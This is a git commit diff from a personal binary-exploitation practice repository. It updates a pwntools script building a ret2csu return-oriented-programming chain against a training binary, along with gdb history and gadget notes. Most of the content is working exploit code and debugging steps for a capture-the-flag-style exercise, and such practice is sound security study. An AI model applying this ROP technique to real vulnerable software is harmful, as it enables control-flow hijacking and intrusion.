summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorBrett Weiland <brett_weiland@bpcspace.com>2020-12-20 17:29:46 -0600
committerBrett Weiland <brett_weiland@bpcspace.com>2020-12-20 17:29:46 -0600
commit5660ef31669a5917d67b227d37e36e7887a839b0 (patch)
tree00f0a87b0aa9c315bdb1132d6fcb62ebc1939853
parent11cbb37694aab501681435375679c49989cdfc91 (diff)
modified: x86_64/ret2csu/exploit.pyHEADmaster
modified: x86_64/ret2csu/gadgets
-rw-r--r--x86_64/ret2csu/.gdb_history49
-rwxr-xr-xx86_64/ret2csu/exploit.py20
-rw-r--r--x86_64/ret2csu/gadgets14
3 files changed, 72 insertions, 11 deletions
diff --git a/x86_64/ret2csu/.gdb_history b/x86_64/ret2csu/.gdb_history
index 7967103..0303e2e 100644
--- a/x86_64/ret2csu/.gdb_history
+++ b/x86_64/ret2csu/.gdb_history
@@ -54,3 +54,52 @@ stepi
info reg rdi
continue
quit
+starti
+x 0x00000000004006a3
+x 0x00000000004006a3
+x __libc_csu_init
+x __libc_csu_init+99
+quit
+break *0x40069a
+run
+continue
+context
+stepi
+info reg
+info reg rbx
+info reg rbp
+info reg r12
+info reg r13
+info reg r14
+continue
+stepi
+info reg rbp
+info reg rbx
+stepi
+info reg rdx
+stepi
+continue
+continue
+stepi
+info reg r12
+info reg rbx
+stepi
+quit
+continue
+quit
+continue
+continue
+auit
+quit
+break *0x40069a
+continue
+stepi
+finro reg rbx
+info reg rbx
+stepi
+info reg r12
+x $r12
+x $r12 + $rbx
+x $r12 + ($rbx * 8)
+x $r12 + (($rbx - 1) * 8)
+quit
diff --git a/x86_64/ret2csu/exploit.py b/x86_64/ret2csu/exploit.py
index a148687..6394460 100755
--- a/x86_64/ret2csu/exploit.py
+++ b/x86_64/ret2csu/exploit.py
@@ -1,6 +1,8 @@
#!/usr/bin/env python3
from pwn import *
+context.terminal = ['kitty', 'bash', '-c']
+
prog = gdb.debug('./ret2csu', gdbscript='b *0x40069a')
payload = b''
for c in range(40):
@@ -8,18 +10,26 @@ for c in range(40):
payload += p64(0x40069a) # __libc_csu_init()
-payload += p64(0)
-payload += p64(0)
-payload += p64(0x601020)
+
+payload += p64(19)
+payload += p64(1)
+payload += p64(0x601018)
payload += p64(0xdeadbeefdeadbeef)
payload += p64(0xcafebabecafebabe)
payload += p64(0xd00df00dd00df00d)
+
payload += p64(0x400680)
+payload += p64(1)
+payload += p64(2)
+
+payload += p64(0x00000000004006a3)
+payload += p64(0xdeadbeefdeadbeef)
+
+payload += p64(0x0000000000400510)
+
-#payload += p64(0x00000000004006a3)
-#payload += p64(0xdeadbeefdeadbeef)
payload += b"\n"
diff --git a/x86_64/ret2csu/gadgets b/x86_64/ret2csu/gadgets
index 87a3bb8..f3adc78 100644
--- a/x86_64/ret2csu/gadgets
+++ b/x86_64/ret2csu/gadgets
@@ -71,16 +71,18 @@ Disassembly of section .fini:
calling x86:
controlling rdx:
-1: 0x00000000004006a3
- rdi : 0xdeadbeefdeadbeef
2: 0x40069a
rbx: 0 <--
- rbp: whatever
- r12: 0x601020 <-- next location. lets try to make it ret2win
- r13: 0xdeadbeef <-- would be nice if we could use a 64 bit value
+ rbp: 1
+ r12: 0xffffffff <-- next location. lets try to make it
+ r13: whatever I guess <-- would be nice if we could use a 64 bit value
r14: 0xcafebabecafebabe
r15: 0xd00df00dd00df00d <--
+we can set r12 to [function@plt], and rbx to desired offset.
-3: 0x0000000000400510 (ret2win)
+0x00000000004004e0 : call rax
+
+target address: 0x00000000004006a3
+0000000000400510 ret2csu